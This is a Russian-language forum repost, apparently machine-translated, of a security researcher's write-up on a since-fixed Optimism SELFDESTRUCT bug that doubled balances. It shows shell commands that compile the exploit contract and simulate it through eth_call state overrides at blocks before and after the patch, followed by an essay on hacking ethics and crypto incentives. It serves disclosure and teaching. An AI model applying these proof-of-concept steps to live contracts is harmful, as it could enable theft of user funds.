    receive() external payable {}
}

JSON/RPC через curl

Чтобы сделать это практическим упражнением, я собираюсь провести вас через компиляцию и выполнение этого контракта, используя только curl, jq, xxd и (для компилятора Solidity) docker (хотя вы также можете установить solc в своей системе). ).

ПРИМЕЧАНИЕ . Общедоступный RPC-сервер Optimism (очевидно) запускается QuickNode , и они настроены только на разрешение тривиального количества исторических запросов; поэтому при вызовах старых блоков вы можете получить нулевой результат с ошибкой «Достигнут предел архивных запросов/месяц — рассмотрите возможность обновления на quicknode.com»; если это произойдет, вам (к сожалению) придется запустить собственный полный узел Optimism, чтобы увидеть результат.
Сначала мы определяем переменную rpc, содержащую URL-адрес нашего полного узла Optimism. Затем мы определяем функцию rpc, которая будет принимать объект JSON через стандартный ввод, добавлять к нему поля протокола JSON/RPC с помощью jq, а затем отправлять его на сервер RPC с помощью curl.

Код:
rpc=https://mainnet.optimism.io/
function rpc() { jq '.+{jsonrpc:"2.0",id:1}' |
    curl -H 'Content-Type: application/json' \
    -s "$rpc" --data-binary @-; }

Далее мы скомпилируем контракт (с именем Attack.sol); в папке сборки у нас будет три файла .bin, по одному для каждого из Exploit, Attack и Test. Эти bin-файлы на самом деле не представляют собой код контракта : это код конструктора.

Код:
# don't do this if you installed solc
alias solc='docker run -v "$PWD":/mnt \
    -w /mnt ethereum/solc:0.7.6'

solc -o build attack.sol --bin --overwrite

Конструктор возвращает код самого контракта, поэтому мы собираемся переопределить состояние случайной учетной записи, чтобы сделать ее код кодом этого конструктора (на самом деле этого никогда не произойдет), а затем выполнить eth_call для получения возвращаемого значения.

Код:
rnd=0x$(head -c 20 /dev/urandom | xxd -ps)
tst=$(echo '{"method":"eth_call","params":[
    {"to":"'"$rnd"'"},"latest",{"'"$rnd"'":
        {"code":"0x'"$(cat build/Test.bin)"'"}
    }]}' | rpc | jq -r .result)

Тестирование исправления

Теперь, когда у нас есть код для самого тестового контракта, мы можем переопределить код нашего случайного адреса на , а затем eth_call метод test(). Мы также создадим второй адрес для вызывающего абонента и переопределим его состояние на собственные деньги.

Код:
frm=0x$(head -c 20 /dev/urandom | xxd -ps)
function tst() { set -e; blk=$1; shift 1;
    echo '{"method":"eth_call","params":[{
        "data":"0xf8a8fd6d",
        "from":"'"$frm"'",
        "value":"0x1",
        "to":"'"$rnd"'"
    },"'"$blk"'",{
        "'"$frm"'":{"balance":"0x1"},
        "'"$rnd"'":{"code":"'"$tst"'"}
    }]}' | rpc | jq -r .result; }

Если вы потратите время, чтобы разобрать все кавычки оболочки (извините), вы заметите, что «данные», которые мы отправляем в контракт, — это 0xf8a8fd6d. Это первые 32 бита хэша keccak256 «test()», который служит селектором сообщений для этой функции.
Теперь мы можем запустить эксплойт. Определенная мной функция tst принимает аргумент blk (который должен быть в шестнадцатеричном формате), который представляет собой номер блока, «в котором» запускать наш код; это позволяет нам попробовать запустить наш код до и после OpMainnetSelfDestructForkNum.

Код:
$ echo $(($(tst $(printf 0x%x 3135900))))
1
$ echo $(($(tst $(printf 0x%x 3135899))))
2

При выполнении этого в блоке после (или включая) 3135900 у нас будет только 1 токен, с которого мы начали (отправленный как параметр значения в tst). Однако при работе с блоками до 3135900 мы получаем результат 2 (поскольку у Test один раз атака удваивается).

Еще одна несовместимость

На данный момент вы можете задаться вопросом, что произойдет, если мы попробуем это на других совместимых с EVM блокчейнах, таких как Ethereum или Avalanche. Нам просто нужно изменить переменную rpc и перезапустить tst. В результате мы получаем... 0. Не 2 (конечно), но и не 1 .

Код:
$ rpc=https://cloudflare-eth.com/
$ echo $(($(tst latest)))
0


Один из тропов в выступлении «Сумка хаков», которое я даю на хакатонах и занятиях в колледже, заключается в том, что довольно часто исправления безопасности делаются в спешке людьми, которые пытаются смягчить конкретный недостаток, и полученное «исправление» что-то ломает. еще.
На самом деле я заметил это, когда тестировал Бобу и Метис — ответвления оптимизма — посреди ночи, когда понял, что они также будут затронуты (но не был уверен, что люди оптимизма уже связались с ними; они уже ).

Что случилось

В этом случае код, который был добавлен в opSuicide, вычитал предыдущий баланс из контракта, чтобы очистить его. Честно говоря, это чрезвычайно разумное поведение... Осмелюсь сказать, что оно более разумно, чем поведение, изначально реализованное Ethereum ;P. Однако исходный код работал так, что он напрямую устанавливал баланс в 0. Это означает, что если вы самоуничтожаетесь для себя, вместо 1+1-1, равного 1, результирующий баланс принудительно равен 0. Я заметил это. в обсуждении пулреквеста. Честно говоря, я на самом деле думаю, что это «вероятно, достаточно близко», учитывая, что, как упоминалось ранее, OVM уже получает другую семантику, связанную с этим неправильным, и в результате выживают только деньги, которые были бы уничтожены. Тем не менее, меня также не удивит, если эти несовместимости между EVM и OVM могут быть усугублены предположениями, сделанными различными контрактами, которые люди могут выбрать для развертывания для выявления и использования других уязвимостей
Далее следует, что я «сверхреален» и пытаюсь вступить в особенно глубокий разговор о морали. Подобные разговоры в некотором смысле являются десертом в конце долгой трапезы. Технология закончилась, но, может быть, вы хотели бы остаться ненадолго?
Я говорю это отчасти потому некоторые люди я не считаю частью «моей аудитории» ;P, ненавидят этот материал ; но я также говорю это, потому что хочу прояснить: это уязвимые мысли, которые люди не произносят достаточно громко.
Тем не менее, я также иногда думаю, что эти разговоры действительно работают только тогда, когда они ведутся лично, в течение третьего часа пятичасовой ночной сессии вопросов и ответов на хакатоне, таком как SpartaHack . OMG, я скучаю по личному участию в SpartaHack :(.

Crypto Ethi-nomi-cs

То, о чем я обычно провожу много времени, говоря — как исследователь безопасности «серой шляпы», который работает в области, где мы обычно копим ошибки и выпускаем полностью вооруженные эксплойты 0-day уязвимостей (наши джейлбрейки), — это «этика взлома».
В случае с ограниченным аппаратным обеспечением и борьбой против управления цифровыми правами (включая использование Intel SGX, причина, по которой я не согласен с MobileCoin), с годами моральные компромиссы стали для меня несколько очевидными.
Однако работа с криптовалютами кажется намного более мрачной. Действительно ли мы верим , что «код — это закон», и если кто-то находит ошибку, позволяющую уйти с миллиардом долларов, все должны думать: «Кажется, я совершил ошибку»?
Если вы это сделаете, изменится ли ваше решение на этом фронте, если вы не собираетесь получать личную прибыль, а вместо этого разрушите систему, которую использовали люди? FWIW, независимо от того, сколько мы говорим, что «код — это закон», лично мне трудно относиться к разрушению как к этичному.
И все же, если мы не верим, что разрушение этично, и собираемся приписать такое сильное моральное суждение людям, которые разрушают, а не строят, как мы можем не попасть в ловушку создания систем, которые работают только благодаря доверию?

Двигайтесь быстро и теряйте деньги

Итак, одна из самых «забавных» вещей в работе с криптографией — это именно то, что делает ее «страшной»: финансовые риски, как правило, чрезвычайно высоки. Одним из следствий этого является то, что исследования в области безопасности имеют гораздо большее значение, чем в других областях программного обеспечения.
И все же, я слишком часто жалуюсь на криптопроекты, что иногда кажется, что они играют быстро и свободно с консенсусом или правильностью, в то время как они «двигаются быстро и ломают вещи», чтобы получить доступ к большим суммам инвестиционного капитала.
Между тем, проекты, использующие более консервативный подход, считаются «медленными и слишком осторожными»; и, как и в случае с компаниями Web 2.0, которые тратят «слишком много» времени на защиту конфиденциальности пользователей, прежде чем запускать новые функции, они находятся в невыгодном положении.
Поэтому я иногда отказываюсь «помочь» другим проектам с базовыми вопросами децентрализации или безопасности, поскольку я чувствую, что это не может быть запоздалым размышлением: эти вещи слишком важны, чтобы их можно было быстро выпускать и корректировать дизайн в полевых условиях.
И тем не менее, мы видим, как криптопроект за криптопроектом пытаются переложить стоимость своей основной разработки на людей, получающих лишь косвенную компенсацию, вместо того, чтобы создавать команду из математиков, экономистов и экспертов по безопасности.

Финансовые инвективы

Между тем, со многими криптопроектами происходит что-то подозрительное, когда возникает что-то похожее на «темную модель», когда проекты заставляют пользователей инвестировать в свой проект (посредством токена), чтобы просто быть клиентами.
В результате становится трудно доверять кому-либо, поскольку, по-видимому, каждый участник — даже те, которые в классическом понимании пытались бы оставаться нейтральными — внезапно оказывается под влиянием тщательно разработанных денежных стимулов.
Чтобы провести реалистичную аналогию с криптовалютой: представьте, если бы использование Apple Music требовало не абонентской платы, а доказательства того, что вы владеете некоторой стоимостью акций Apple. Теперь, если стоимость Apple вырастет, вырастут и акции, которыми вы обязаны владеть.
Меня эта мысль временами деморализует (замечу, что Orchid избегает подобных моделей). И все же, это вообще ново? Случайно ли «фанаты Apple» получают стимул от своих дорогих вложений в оборудование (а затем и от стоимости перепродажи)?
На самом деле я собирался написать статью о том, что я считаю формой «безудержного стимулирования» со стороны предложения — в отличие от потребителей — некоторых криптопроектов, тема, о которой я иногда писал только в случайных комментариях. на Hacker News, GitHub и Twitter.
Если вам интересно такое читать, рекомендую подписаться на меня в Твиттере . Кроме того, я обычно вполне готов (бесплатно! Я политик в Калифорнии и не хочу иметь дело с ограничениями по гонорарам ) доклады на хакатонах или конференциях, особенно если мне не нужно далеко ехать.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх